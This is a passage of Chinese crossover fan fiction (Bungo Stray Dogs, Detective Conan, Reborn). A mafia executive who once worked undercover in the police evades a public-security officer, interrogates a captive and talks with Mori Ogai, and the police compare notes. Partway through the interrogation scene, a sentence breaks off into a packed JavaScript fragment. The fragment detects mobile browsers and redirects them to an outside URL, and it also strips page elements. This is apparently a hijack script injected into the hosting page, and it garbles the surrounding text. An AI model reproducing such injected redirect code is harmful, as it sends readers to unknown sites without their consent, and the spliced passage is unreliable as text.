【光希打了他就不能打我】 察觉到梦野久作那脆弱的精神并没有因为藤原的话被影响多少后,雾岛光希踩着人的腿才稍稍抬起一些。 小朋友以前被骂几句就会哭着暴走,现在好像没那么在意别人的看法。 梦野久作忧伤地叹气:【唉,今年七岁,明年就是八岁】 【好无聊,我什么时候才能长得和光希一样高呢】 周围的几位异能力者捂着不同程度的伤口形成了一个包围圈,充满仇恨地凝视着站在中央的雾岛光希,一副伺机要把他拉入地狱的样子。 雾岛光希对此不以为意,反正讨厌他的,想杀他的人加起来,多到可以绕日本三圈,再从港口排队到自由美利坚。 可除了这些人的心声外,雾岛光希朝树林深处看去,不恰时宜地听到另一个声音。 【!!!】 十几米外,风见裕也瞪大眼睛。他背过身,后背靠在粗糙的树干上,由于过度的震惊,连呼吸都屏住了。 【不会看错的!和档案上的照片一模一样!】 【降谷先生不是说他已经牺牲了吗,雾岛警官怎么会在这里】 7. 第 7 章 尽管经常被自家上司指挥着做事,但风见裕也和降谷零严格意义上讲应该是两个不同部门的警察。 降谷零所在的单位是警察厅警备部警备企划课,而风见裕也隶属于警视厅公安部,受到警备部上级的指导和管辖。当初之所以被派到降谷零身边,也是因为他在公安的成绩出色,能做到二十四小时处于待机状态。 至于【雾岛光】,那是风见裕也之后整理档案时才发现的存在。据说是降谷先生就读警校时期的同伴,之后与降谷零一同被选拔入公安。明明狙击格斗样样精通,对方出外勤的次数却不多,后来主动申请了去协助情报管理科,因此在职时也和风见没怎么见过面。 那时发现风见在看这份资料,降谷零也没多说什么。他只是伸手把打开的档案合上,手掌按在档案夹的封面,风轻云淡地回了句“雾岛警官已经牺牲了”,之后就又和他说起了有关任务的事。 于是风见裕也对作为上司的降谷零更尊敬了些。毕竟不是谁都能做到喜怒不形于色的——更何况降谷先生还得在周围的朋友相继离世,不暴露身份的情况下一连打N份工。 降谷先生简直就是世界上的完美人类! 尽管平时魔鬼了点,下达指令的时候根本不管他在干什么了点,有时候还会严厉谴责他“你就是这么做公安的吗!”了点—— 等等,现在好像不是想这个的时候。 【雾岛为什么没死】 风见裕也头脑风暴,试图整理自己刚刚获得的情报。 他接到柯南的消息后就立刻赶了过来,因为公安的手段比起普通警察要多,所以风见裕也调动资源,找到雾岛光希的踪迹也比其他人要快。 【难道和降谷长官一样,长期协助情报管理科的雾岛其实是被培养出来的卧底?】 风见裕也越想越有道理。 【听说那时降谷先生收到消息的时候,雾岛的遗体已经被家属火化了,只有一份法医的检测报告,说不定压根没有尸体这回事】 听到这里,雾岛光希差不多也解决完了最后一名异能力者。 他再次向树林深处看去,总算想起自己以前到底是在哪里看到的风见裕也的名字。 好像是他那条中之条,被称为卷王,明明在当卧底,却还要保持每天公安的出勤率的同期的同事来着。 “怎么了,光希?”踩在昏迷不醒的敌人的后背上,梦野久作看看雾岛光希,又看看黑漆漆的小树林,“那里有敌人吗?” 梦野久作的声音不大,也就是雾岛光希自己能听到的程度。但青年将手按在梦野久作的头顶,没立即给出回答。 全中。 雾岛光希沉吟。 他假死脱身的时候确实是没有尸体,更确切地说,为了瞒过监控,他那时特地弄了具假尸体。 被收买的法医在初步检查后出具了虚假的报告,倘若那时有降谷零在场,就会发现那具尸体的手上带着层薄薄的枪茧,压根不是真的【雾岛光】的手。 再这么下去,这家伙就要猜到他当年为了得到情报,不惜混进条子当卧底的事了。 虽然森先生说了这段时间尽量不要对警察下手,但日本公安恐怖如斯,要不他现在杀人灭口以绝后患吧。 【这件事情得尽快向上汇报】 雾岛光希弯腰,隔着层手帕,捡起高濑会的人掉在地上的枪。 【不过这件事大概是机密,如果雾岛真的是警察厅派出去的卧底,那这件事能不能告诉降谷先生也要经过上面的评估】 雾岛光希一顿,又隔着层手帕,乖巧地把之前捡起来的枪放下了。 “是不喜欢吗。”梦野久作看不懂雾岛光希的行为,只知道他捡了把枪又扔掉,还以为是他用这个型号的枪不顺手。 “不是。”将昏迷不醒的藤原扔到车上,听到由远及近的刹车声,雾岛光希示意梦野久作回车上坐着,自己反而戴上了帽子,往小树林那边走。 “雾岛干部。”提前准备好协助他撤退的部下在耳机里发出汇报,“虽然按您说的拖延了点时间,但那个叫松田的警官直接把车开到了货车的车顶上,还有几分钟就要过来了。” 雾岛光希脚步略微停顿:“……把车开到了车顶上?” “是。”耳机另一头的部下沉重,“最近的警察真是越来越难缠了,他们比我们还要嚣张。” 雾岛光希试图想象了一下那个画面,没再回话。 而没注意到雾岛光希在向自己靠近,风见裕也低头,看了眼手机上江户川柯南的来电提醒,刚想接通,就迅速意识到什么,调转枪口转过头去。 “……” 砰——! 短暂的寂静后是一声枪响。 “那边!”看到树顶上被枪声惊动的鸟雀,江户川柯南下意识地提高音调。 空旷的据点里横七竖八地倒着几个人,江户川柯南甚至还没等车辆停稳就急着跳下了车。他快速跑到草丛里昏迷不醒的风见裕也身边,在确认对方只是晕过去后,摸了摸掉在旁边的枪的温度,暗道一声“可恶”。 松田阵平瞥了眼江户川柯南的动作,倒是没立即去把警视厅的同事捡回车上,反而在地上那些无名氏的旁边蹲下,戴上随身携带的手套,揭下了贴在他们脸上的纸条。 是从警察的笔记本上撕下来的,还有公安部的标志。 【日影光希】非常贴心地给他标注了每一个无名氏的姓名,并将枪里的弹匣卸了,随手扔在一边。 “松田!”迟到一步的佐藤和高木跑来,他们同样看到了松田阵平手上的纸条,得到的情报比松田还少,“这是……” 松田阵平将纸条翻到背面。写字的人用的是英文,字体清隽,只有写到名字时用的是日文。 当然,翻译过来就是—— “怎么了?写了什么?”看着松田阵平起身,将纸条放入证物袋,佐藤美和子皱眉询问。 “好像是适可而止之类的话。”仗着身高优势,江户川柯南看到了纸条上的话,“后面还写了松田警官的名字。” 松田阵平没说话,动作看起来懒洋洋的,刚侧过脸去看向江户川柯南,后者就立即反应过来,“嘿嘿”地笑了一声,装可爱似的说“不小心看到的。对吧,松田警官?” “是你的话应该也注意到了吧。”难得没接他的话,松田阵平随手将证物袋抛到佐藤手中,“从我们听到枪声到现在,前后不过也就两分钟。公安一般会将笔记本和警官证放在西装左侧的内侧袋里,也就是说,犯人得在两分钟的时间内,从这位警官身上精准地找到笔记本,并写下这些字,再在我们抵达前撤离。” “当然,也不排除是他先把风见警官打晕,再写下这些东西,等做完一切,才做了开枪的动作。” 江户川柯南几乎是同时想到了松田阵平说的这种可能。 “可子弹应该是从风见警官配枪里发出的吧。”佐藤美和子说,微微一顿,“等等,也就是说——” “啊。”松田阵平嗤笑,“不管是哪种可能,都说明我们追查的那位犯人和风见警官是旧识。” - 这次出发前,森鸥外特地强调了一遍,不许雾岛光希在这种可能引起特务科注意的任务里对警察下手。 如果真的要动手,那就做到毁尸灭迹,绝不能留下任何可能定罪的证据。 内务省每年在制止异能犯罪方面花费的经费很高,被称为特种部队的猎犬又常年在外镇压异能暴动。因此,异能力者方面,黑吃黑在内务省是默认的解决麻烦的规矩。看在他和松田阵平曾经实打实地相处了四年,他某种意义上还挺喜欢和松田阵平关系不错的萩原研二的份上,他都已经发出了[适可而止]的警告,松田再纠缠着不放就不礼貌了。 至于高濑会剩余的人…… 雾岛光希看了眼刚刚使用了异能的梦野久作,发现对方的精神状态还不错。 “刚刚那个人对光希开枪了。”回到港口黑手党的小朋友甚至还有力气忿忿不平,“光希就该把他交给我解决。” “是我扣的扳机。”雾岛光希抬手去揪被扔在后备箱的藤原时,非常自然地把人扛在肩上,“如果没有开枪的迹象,警视厅就会往那位警官和我认识这方面查。” 公安比一般的警察要难缠,虽然解决麻烦的方法也很简单,按他那位暗杀出身的兄长的理论,那就是把所有目击者杀光就行了。 雾岛光希对此不敢苟同。 因为他觉得把所有人都杀光也很麻烦,他又不是杀人狂。 所以这种麻烦的事还是交给早上内涵他审美的森先生好了。 如先代当初让雾岛光希去炸了警视厅,结果被他当做耳旁风一样,雾岛光希也不是完全听从森鸥外的命令。 有时他甚至还会小心眼地偷偷报复对方——尽管森先生似乎完全没意识到这点,还以为是他的性格缺陷。 “……” “况且。” 梦野久作后背一凉。 雾岛光希将准备跑路的梦野久作拎回来:“我好像还没和你算跟着藤原逃跑的事。” 小朋友的双脚离地,像个无助的小鸡仔一样悬在空中。 雾岛光希将他上上下下看了一遍,确认除了他自己绑在手上的刀片割破了皮肤外,确实没受什么额外的伤后,才松手将人放了回去。 【总,总之】 七岁的小天才梦野久作开动大脑。 【刚刚那个家伙一装可爱光希就放过他了,那我也……】 “从今天起不许看乱七八糟的电视。”雾岛光希开口,打断他的技能读条。 梦野久作:【!】 “也不许和太宰一样看到有河就跳。” 梦野久作:【太宰!绝对是太宰告的状!】 梦野久作垮着张脸,抱着他因为使用异能坏掉的玩偶,不情不愿地跟着雾岛光希走进电梯。 过了一会,雾岛光希才听见他小声地在那里嘀咕:“可恶的光希,就知道移情别恋,那个领结小孩有哪里好,难道因为会推理,光希就更喜欢他吗。” 肩膀上扛着的 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他思忖几秒,在电梯到达拷问室前,唇瓣张开,还是有点想直接问这个问题的答案。 ——去年不是还很讨厌他吗。 然而,在雾岛光希问出这个问题以前,梦野久作却注意到了之前藤原说的话。 “瓦里安是什么?”还没接触过横滨以外的黑手党,梦野久作在提起这个名字时异常好奇。 “……”这要怎么回答呢。 “是一个专门搞暗杀的部队。”雾岛光希试图解释道,“有点类似广津先生率领的黑蜥蜴,但里面的成员可能要更残暴些。” “喔。”梦野久作似懂非懂,“那他为什么说光希背叛了瓦里安?” “嗯……”雾岛光希不知道怎么和梦野久作形容。他加入港口黑手党以前的身份不是秘密,但因为十五岁就当上了干部,所以之前的档案和身份信息都被封存了,八年过去,活着还知情的人少之又少。 “因为光希原本的家人是那个组织的成员。” 梦野久作还没等到答案,就再次双脚离地,被刚好在一楼等电梯的太宰治拎了出去。 “不被允许看电视的Q君,我记得我的原话是让你在门口等我,结果还没一分钟就不见了啊。” 没有问太宰治为什么会知道他们在停车场的对话,雾岛光希瞥了眼太宰之前送自己的胸针,知道那有窃听的功能。 不过因为是太宰小时候第一次送他的东西,所以雾岛光希还是好好地带在了身边,甚至有时候还会拜托技术部帮自己维修。 “才没有不见。”梦野久作狡辩。 【太宰只要一碰到有关光希的事,就变得一点也不好玩】 看。 雾岛光希欣慰。 一定是因为太宰太担心他了。 梦野久作:“是鞋子自己先动的手。” 虽然雾岛光希理解不了魏尔伦为了将作为弟弟的中也带走,要对傻瓜鸟他们出手的行为,但是这份只要看到弟弟站在自己面前,就平白无故地感到心情愉悦的感情是一样的。 【太宰一定是@&;%&光希】 太宰一定是——嗯? 雾岛光希察觉不对,正想仔细听听那串模糊不清的声音,梦野久作的注意力却已经转移。 【太宰说光希以前的家人是瓦里安的成员,那个傻高个又说光希背叛了瓦里安,那意思就是光希被他的家人抛弃了?】 ……怎么想都不是这个意思吧。按照这个逻辑,难道不是他抛弃了瓦里安才对吗? 虽然事实也不是这样,认真讲起来,雾岛光希甚至都不是瓦里安的成员,只是因为他那剑帝哥哥在里世界太有名,所以大家都默认他应该加入瓦里安罢了。 “光希。好可怜。” 雾岛光希沉默,看着被拎着后领,晃荡在半空中的小朋友双手环胸,沉重地点头。 “我就不会抛弃光希。” 雾岛光希:。 今天他的说话量已经超上限了,如果可以,雾岛光希真的不想讲话。 但大概是森鸥外的话起了作用,也可能今天的事让雾岛光希发现,久作似乎会因为陌生人的出现会隐隐感到不安。 雾岛光希无声地笑了笑,还是认为一些事应该直接告诉对方才好。 他本身就长得好看,这么一笑,外面假装下班假装了五分钟的黑手党们就又忍不住偷看了一眼,只觉得自家的干部快要把大家迎接的雪花浪漫的冬天都比下去了。 “知道了。”雾岛光希张嘴,他的眼睫下敛,嗓音温润。 他不会离开港口黑手党,所以倒也谈不上抛不抛弃他。 是真的不用和别人比来比去。雾岛光希对梦野久作没什么特别大的要求,毕竟人才七岁,他七岁的时候没一次不被斯库瓦罗打趴下的。 这些理所当然的话雾岛光希自动省略,只挑了最重要的一点。 梦野久作一愣,听见他说。 “久作,你是黑手党的成员,光是这点,就已经很厉害了。” 8. 第 8 章 回到港口黑手党后,雾岛光希要做的第一件事就是将藤原扔进空出来的拷问室。 “你要把Q君宠坏了。”太宰治看着雾岛光希的动作,冷不丁地说出一句。 雾岛光希瞥了眼手指上沾染的灰尘,回得不以为意:“有吗。” “黑手党是靠严格的规矩和等级制度在运行的团体。”太宰治说,“Q的危险性你比谁都清楚,他擅自离开港口黑手党,私自行动,而你竟然只是轻飘飘地一句让他以后不准看电视。” “……”雾岛光希一顿,他似乎没想到太宰会在意这个,于是有些疑惑地侧过脸去看向靠在角落的少年。 “首领很看重久作。”雾岛光希回,“按照规定,久作是你那边的人,没造成实际损失的情况下,我没理由越过你处罚久作。” “是吗。”太宰治微笑,“说的也是。” 【话是这么说的,但还要先提一嘴森先生对Q君的在意程度。以光希的心软水平,等我把Q君关禁闭到第三天就会亲自去看他了吧】 【呵呵,然后诡计多端的Q君就会装可怜,说我不给他吃饭之类的,真是故事看多了,他以为自己是可怜的辛德瑞拉吗】 雾岛光希:? 他之所以说那句,是因为之前梦野久作暴走的时候,令许多港口黑手党的成员精神重创,有人要求按照规矩将梦野久作处死,而森鸥外却以将梦野久作单方面关了几个月,不许私自行动的措施保下了对方。 因此,港口黑手党在几个月前就制定了针对未成年的成员的处置措施。和成年人不一样,小朋友被抽个二十几鞭大概是会被抽死的。 雾岛光希欲言又止,跟确认什么似的:“太宰,你最近看的童话书?” 由于雾岛光希唯一的爱好就是看书,太宰治听他提起这个话题也不奇怪。 但他还是顿了下,随即扬起一个微笑:“雾岛桑,和那个黑漆漆的小矮人走得太近,你也开始异想天开了吗。” “……”雾岛光希默默别开眼,心想太宰怎么又生气了。 他不是日本人。接触日本文化的时候才十三岁出头,因此也是学了几年才渐渐弄懂了日语里各类称呼的区别。 [桑]是最普遍的称呼,大概算敬称的一种,只不过不分性别和上下级,用来称呼上司同事或者亲人恋人都可以。 [君]就带了点区分地位的意思,一般用在上级对下级,或者前辈对晚辈。 至于[酱],大概就是小xx的简称,会给人一种比较亲近或可爱的认知。 雾岛光希刚来日本时没人教过他这点,导致他那时候喊谁都是小xx,最后还是松田阵平忍无可忍,头顶十几个十字路口,问他为什么要跟着萩原研二一起喊自己“小阵平”。 雾岛光希面无表情,那时候才知道自己被傻瓜鸟他们耍了。他回到港口黑手党的宿舍,问太宰怎么不纠正自己,结果十二岁的太宰小朋友看他一眼,轻描淡写地回了句“我以为你们这个国籍的人都一样轻浮”。 太宰生气的时候,就喊他“雾岛桑”。 太宰心情好的时候,就直接喊他“光希”。 带着太宰出任务的时候,太宰勉为其难会和别人一样称呼他为“雾岛干部”。 雾岛光希已经通过这微妙的差别,将太宰治的心情变化摸透了。 雾岛光希叹了口气,又将原本移开的视线挪回来:“森先生说我在大家眼里的形象不太好。” 雾岛光希以后想了想,觉得森鸥外的意思可能是对现在的港口黑手党而言,光有恐怖和威胁是行不通的,这样一来,片山的事可能就要当做特例。 太宰治鸢色的眼瞳挪动,注意到了从墙角钻出来的老鼠。 毛茸茸的灰色生物似乎对于雾岛光希很有好感,探头探脑地看着他,胡须一动一动。 “是在询问我的意见吗。”太宰治抬眸,尽管雾岛光希没把话说完,但很快就领悟了他的意思,“片山只是个普通成员,怎么样都无所谓,那家伙的枪法连三岁小孩都不如,虽然逃跑的时候慌不择路地朝我这边开了三枪,但都打在了墙上。” 【大概是光希之前给它喂过什么吧,讨厌的东西,这就缠了上来吗】 太宰治这么一说,雾岛光希才注意到了之前从楼梯上摔下来的生物。 “说是普通成员……”雾岛光希看着小老鼠往自己这里跑了两步,转头又看到太宰治的视线,于是又一瘸一拐地跑了回去。 雾岛光希的嘴唇动了动,几乎下意识地:“……当初也是我把他从街上带回来的。” 察觉到雾岛光希的视线,太宰治轻笑:“光希。”他说,“你什么时候也开始考虑这么多了。” 片山志加入港口黑手党后,分内的工作做一直得不错。这次从港口黑手党窃取利益,向别的组织提供情报,也是为了替给他生病的妹妹筹钱。 然而这样的例子在黑手党内部数不胜数。 处刑是雾岛光希的工作。他在黑手党里待的时间比大部分人都长,自然听到的也比一般人多。 什么全家唯一的遗孤,什么为了死去的妻子报仇——叛徒死前的忏悔数不胜数。可背叛就是背叛,对黑手党而言,无论是什么理由,只要是背叛就不可原谅。 处刑的人经常因此深夜抑郁,于是再到后来,这类人的处决就变成了雾岛光希一个人在做。 毕竟雾岛光希是真的感受不到这么复杂的感情,他心如止水的,除了偶尔会为部下欣慰一下,最强烈的情绪也就是生气。 但久而久之,或许是因为接受了这份工作,雾岛光希的名声就变得很差。 “也有道理。”雾岛光希想,“我知道了。” 太宰治看了他一会,忽然这样问:“你又知道什么了。” 雾岛光希:“没有将片山当做特例的理由,那样对我以前处刑的叛徒不公平。” 黑手党只看结果,不看过程。 开恩的事交给红叶就好,他只要负责单纯的镇压就够了。 太宰治笑了笑:“我可没有这么说。” 【他今天的话好多,根据以前的经验,是一回宿舍连床都走不到就倒在地上的程度吧】 雾岛光希沉默,心想自己在太宰心里的形象未免有些微妙。八年前这样也就算了,他这几年多少也是有点进步的。 更何况,同为干部的大佐先生死后,尽管太宰和中也作为干部候选接替了些工作,但大部分任务还是落在了雾岛光希这里。 雾岛光希心里的小人面无表情地躺在地上,开始怀念以前一天能休息九个小时的日子。 不过…… 雾岛光希的眼神闪烁了几秒,他微微一顿,想起去抓藤原前还没来得及验证的事。 太宰治的睫毛一颤,他侧过脸,就这么看到那只漂亮的手蹭过自己的脸颊,指尖穿过微卷的发丝,最后落在他的耳后。 【……】 太宰治的心声很安静,不紧不慢地掀起眼,就以这个姿势对上雾岛光希的视线。 又过了几秒,雾岛光希听到预料之中的声音。 【谁又骗他乱七八糟的事了。魏尔伦吗。】 果然。 雾岛光希遗憾地想到。 不是异能。既然[人间失格]没有作用,那就是他日后真的得和侦探一样,玩那85%的[你猜我说的是不是真的]的游戏了。 “抱歉。”雾岛光希收回手,“我要把藤原叫醒了,你先去做自己的事吧。” 太宰治这才分了昏迷不醒的藤原竜也一个眼神。 【红叶姐说以前张口闭口光希的人就是这样的家伙?】 【真是的,明明是这么嫌麻烦的一个人。如果不是在谋划什么……】 太宰治的眸色一深。 【这种无聊的任务,推回给森先生不就好了】 - 藤原竜也从昏迷中清醒。他整个人被锁链吊着,不得不以站立的姿势睁开眼睛,刚一感知外界的环境,就被冻得打了个哆嗦。 他身上的衣服湿透了,大概是之前被浇了几盆水。地下室的中央空调温度被调得很低,制冷的机器正对着他的后背吹着,连衣服都有点被冻得发硬的迹象。 藤原竜也抬起眼,就这么看着靠在不远处的雾岛光希微微直起身子。 青年一把掐住影子制造出的猛兽的脖子,风轻云淡地瞥了眼尖锐的爪子在自己手臂上留下的血痕,任由对方挣扎尖叫,却怎么也不松开手。 “哈。”藤原怒极反笑,“在那小鬼面前装得好好的,你这家伙现在不装了?” “密码。”雾岛光希插在口袋里的左手抽出,他的两根手指夹着从藤原衣服夹层里搜出来的芯片,神色在昏暗的灯光下看不真切。 “见鬼的密码。”藤原冷哼,“要杀要剐随便你,我是不会告诉你密码的。” 被掐住脖子的猛兽发出哀鸣,雾岛光希皱眉,一把将它甩在藤原身后的墙上。 藤原看了眼自己重新站起来的异能,面色阴沉。 【那个新首领据说原本不过是个不值一提的黑市医生,雾岛作为先代选出来的干部,竟然还证实了那可笑的传位的真实性。我看他对所谓的新任首领忠诚也没多少,之所以这么做……】 他盯着面前走过来的雾岛光希道:“你这么在意这里面的东西,根本不是因为里面有港口黑手党的罪证吧。” 雾岛光希颔首,言简意赅:“你不是说了吗,这里面有特务科回收那位异能力者时的录像。” 藤原语气不善:“你不是不在乎这种用来威胁特务科的手段?” 雾岛光希懒得废话,只是说:“你拍到了不该拍到的人。” 那段录像藤原看了不下二十遍,每一帧都研究得彻彻底底,骤然听到这句话,下意识地拧起眉头,思考哪个是自己不该拍到的人。 “我倒是真的有点好奇。” 藤原嗤笑,知道自己从雾岛光希嘴里撬不出上一个问题的答案。于是也不紧不慢地站直,拽了拽锁住自己双手的锁链,舒展了会肩膀。 “港口黑手党的人知道你这幅德性,还敢和你并肩作战?” 落在身上的目光没有实质。雾岛光希眼睛的颜色在黑暗中加深,他的五官中带着锐意,就这么冷冷清清地低下眼,一抬手精准地掐住再次扑过来的凶兽的脑袋。 影子幻化出来的猛兽,尾巴被雾岛光希踩在脚底,他的手背上青筋纹路清晰,下一秒,只听那只凶兽发出一声尖叫,头和身子被硬生生地扯开,最后化为了一摊黑水。 藤原忍不住呕出一口血。 “就是这样……”他哈哈地笑着,舔了舔嘴角渗出来的血,“什么躲来躲去的,我还以为你什么时候弱到那种程度了。” 【装货。伪君子】 【还哄小孩呢,他一个人把高濑会的分部踏平时可没这么好脾气】 藤原叽里呱啦地骂了一堆,雾岛光希却只是皱了下眉,搞不懂他以前明明和自己交过几次手,还要挟持久作打算抓他的原因。 “你的异能靠的是影子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267598|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随着雾岛光希的声音落下,地下室所有的光源被切断。藤原一怔,他的眼前一黑,失去视觉后,彻底陷入被动的境地。 “那没有影子不就行了。” “藤原君。” 雾岛光希眉间的皱痕加深,不明白这个时候对方怎么反倒开始害怕得发抖了。 “我最后问一次,密码是什么。” …… …… 从地下室里走出来是在四十分钟后,雾岛光希先回了宿舍洗澡,他将外出穿的衣服扔进篮子里,用蓝色的毛巾擦了擦头发,刚走出浴室,目光却在看见站在他的书架前,悠闲地翻着书的人时微微一顿。 “东西交过去了吗。”那人头也不回地问,将书翻了一页。 “……是。”雾岛光希微微点头,“如您要求的那样,删除和港口黑手党有关的资料后,我将芯片交给了前来对接的彭格列守护者,狱寺隼人。” “我记得他们似乎是把你称为叛徒。”穿着黑色风衣的男人轻笑着转过身来,“光希君,我还以为你会因为不想见他们,拒绝这个任务呢。” “……都是小时候的事了。”雾岛光希看了眼对方手上的书,“狱寺君没和我说什么特别的话。如果您是想确认这点的话,没必要亲自来找我,首领。” 被称为“首领”的男人,俨然是本来应该在防备森严的最高层待着的森鸥外。 “哎呀。”森鸥外无辜道,“我就不能是想见光希君才来的吗。” 话是这么说的,但森鸥外的视线扫过雾岛光希手臂上缠绕的绷带。 【对付藤原那种人都会受伤,要说让他去和彭格列的人对接,一点情绪波动也没有,似乎也不现实】 雾岛光希:。 只不过是小时候和彭格列那群人相处过一段时间,所有人都防着这个干什么。 雾岛光希不解,但隐约觉得当初其他干部封存他的档案,不让内部讨论他本身就来自与彭格列同盟的斯贝尔比家族这点似乎有那么点道理。 “山本君那时将彭格列的事称为黑手党游戏。”雾岛光希很诚实地回答道,“我没说要加入他们的游戏,狱寺君以前的性格比较暴躁,他现在已经不会暴跳如雷地称呼我为叛徒了。” 事实上,狱寺隼人当时靠在车边,咬着根烟,看到他来,也就是掐灭了烟头,礼貌性地说了声“你来了”而已。 “我知道。”森鸥外勾了勾唇角,对雾岛光希的回答并不意外,“我只是有点奇怪,八年前,港口黑手党还是个普通组织,以你的性格,为什么偏偏选择了这里。” 【如果是为了追随先代,就不会协助我平息先代派的叛乱。所以光希君是有别的目的……但光希君是从斯贝尔比来的,八年前的港口黑手党有什么值得他这么大费周章】 雾岛光希板着张脸:“因为我只有在这里不会倒霉。” 【……】 森鸥外眨了眨眼,变成Q版:“是这样吗。” 雾岛光希:“您根本不知道我在别的地方有多倒霉。” 森鸥外:“嘛,那也是没办法的事。” “……您在幸灾乐祸?” “没有呢。怎么会。” 森鸥外并不信他的理由,但想到了些无关的传闻:【这么说来,光希君确实有的时候很倒霉。听说他上次心心念念地去亲自排了六小时的队去签什么东西,结果刚好在他前一个结束了】 雾岛光希:……所以你为什么会知道 “晚上有个会议。”森鸥外合上手里的书,走过雾岛光希身边时说道。“光希君,身体不舒服的话,你还是先睡几个小时为好。” 雾岛光希看着自己宿舍的门合上,思索了一会到底要不要告诉森鸥外自己能听到点声音的事。 但雾岛光希最后还是收回了视线,什么也没说。 他走到书架边,抽出那本刚刚被森鸥外拿出来的书,简单地翻了几页,没发现什么异常,目光在一行字迹上停留片刻,后知后觉地想起这是前年那个人派人送给他的。 [人会在逃避自己命运的路上,遇见自己的命运][1] [光希君,生日快乐,我永远是你忠诚的朋友] 没有落款。当初寄来的包裹上也没有写名字。但因为是用意大利语写的,所以很轻易就能猜出送礼的人是谁。 森先生懂意大利语吗? 沉默在蔓延,整个房间寂静异常,雾岛光希就这么站了许久,才将这本书合上,重新放回书架上。 【“怪物……怪物……”】 耳边有谁在喃喃自语。 模糊的幻镜里,和雾岛光希有几分相似的女人缩在角落,她的眼睛雾蒙蒙的,眼底爱和恐惧混杂在一起,令她又哭又笑地,抓破了她自己的脸。 三岁的小朋友有点迷茫。他不知道该前进还是后退,刚要张嘴,就听见了个分贝极大的声音。 【“阿莱西奥·斯贝尔比!不是和你说了不要跑到这里来了吗!”】 十二岁的斯库瓦罗提着剑,揪了一把他的后领。 耳边有水滴落下的声音。 雾岛光希猛地睁开眼,他的呼吸凌乱,从床上坐起身时,环顾了周围一圈。 偌大的房间空空荡荡,没有其他人,也听不到傻瓜鸟以往在楼上放音乐的声音。 令人窒息的黑暗和寂静裹挟了他,雾岛光希却什么也感觉不到。他就这么安静地坐了一会,目光最后落到墙上的钟表。 时针不知不觉中挪动,已经过了五个小格。 9. 第 9 章 与此同时,波洛咖啡厅。 一天的营业已经结束,安室透将洗干净的盘子放入消毒柜,正要准备第二天的食材,就听到背后响起了玻璃门推动的声响。 “这位客人,今天已经过了营业时……”安室透转身,客气的话语在看到那张熟悉的面孔时戛然而止。 松田阵平打了个哈欠,非常自来熟地坐到佐藤他们经常来的位置上:“一份招牌火腿三明治。” 安室透瞥了眼外面空空如也的街道,没做出过多的反应,只是将蒸锅重新打开,然后将柜子里的面包放进去。 松田阵平看到他的动作,懒洋洋地撑着下巴:“高木他们一直说这里的三明治好吃。这位服务员小哥,就这么让我看到你做面包的秘诀好吗。” “本来也不是什么秘密。”安室透笑眯眯地,将装有温水的杯子放到松田阵平面前,“这位警官先生,这么晚来这里,是在为了案子加班?” “这个嘛。”松田阵平挑了下眉,“今天逃走的犯人和那位来自公安的风见警官似乎是旧识,把对方送去医院后,本来想等他醒了再找他做笔录。结果公安那边对这件事格外敏感,那位叫风见的警官也一问三不知。” “医院?”蒸锅里散发出甜腻的香气,安室透将蛋黄酱和味噌混合在一起,头也不抬地发出提问,“看来今天的犯人很难缠啊,你们那边也有人受伤了吗。” “是个做炸/弹的天才。”松田阵平意有所指,“你喜欢的那位小侦探和他提到了有关品酒的事,两个人心照不宣地达成了什么共识。” 安室透撕生菜的手有略微的停顿,但在松田阵平的注视下,他还是一个多余的情报也没有给出,将撕下来的生菜泡在热水里。 “您要喝酒吗?”安室透抬眸笑道,“我这里只剩下刚做的橙汁了。” 松田阵平勾起唇角,意识到“琴酒”这个词代表的含义,远比江户川柯南装蒜的要严重许多。 不过他也没继续问下去,视线反而捕捉到了安室透放在围裙口袋里的手机。 小小的雪人挂件搭在那里,随着安室透的脚步晃来晃去。 “我本来也有个类似的挂件。”松田阵平的双腿交叠,语气散漫,“可惜被人截胡骗走了。服务员小哥,你也觉得很过分吧?” “送东西这种事讲究你情我愿。” 刀切在砧板上的声音响起,将切成两半的三明治装进盘子后,安室透抬起眼道。 “您要是想要,可以再去网上买一个。” 久远的记忆在脑海中浮现,松田阵平看着眼前的三明治,耳边还响起萩原研二的那句【“哇,小雾岛,你还真去帮小阵平带这个了吗”】。 那时二十二岁的松田阵平一愣,他看着一脸不知道萩原笑什么的雾岛光,嘴硬地别过脸去,回了一句【“我又没让他帮我”】。 结果还没等雾岛光说话,旁边的降谷零就很自然地将东西拿走,说了一句【“既然松田不喜欢,那就给我好了”】。 雾岛光没搞懂他们在干什么,但既然有人说想要,他就很自然地递了过去。 松田阵平差点被他们两个气死。 ——谁说我不要了啊!雾岛光!你是笨蛋吗! 被骂了的雾岛光面无表情地生了气。他生了气也不会说自己生气,漂亮的眉眼透着冷意,轻轻地哼了一声,只是别过眼去,惹得萩原研二忍俊不禁,低头和他耳语几句,雾岛光这才眨了眨眼,有些疑惑地转回来,重新看向松田阵平。 松田阵平立即转移矛盾。 ——喂!还有金毛混蛋!你又没有被禁止出校门!给我自己去领啊! 降谷零这个死脑筋从那时候起就有点当公安的天赋。 一晃眼都过去七年了。 安室透:“不吃吗。” 松田阵平起身:“我打算打包。” 安室透微笑,额角冒出一个十字路口:“看来就算加班,精神也很好嘛。” 松田阵平哂笑,他长腿一迈,从卡座里走出时,背对着玻璃,压低声音,以只有两个人的音量说了句:“今天的那个犯人,大概率来自公安内部,那可是一个人能解决三四个黑手党的危险分子,你要是见到了可别想着一个人处理。” 安室透:“风见被打晕了?” 松田阵平:“不仅被打晕了,还被拿走了口袋里的笔记本。” 安室透:“竟然被这么轻易地放倒,那我可得说说他。” 两个人心照不宣地摊牌交流了几秒,之后松田阵平就背对着安室透挥了挥手,拎着打包的三明治开车走了。 安室透收起盘子。在做好一系列的扫尾工作后,他拉下咖啡厅的窗帘,摘下围裙,确认前门已经锁好后,拿着打包好的垃圾从后门走出。 “风见。” 安室透阖眼,对着在黑暗的角落里罚站的部下开口。 风见裕也一个激灵,下意识地立正,后颈还带着点被他用拉高的衣领藏起来的淤青。 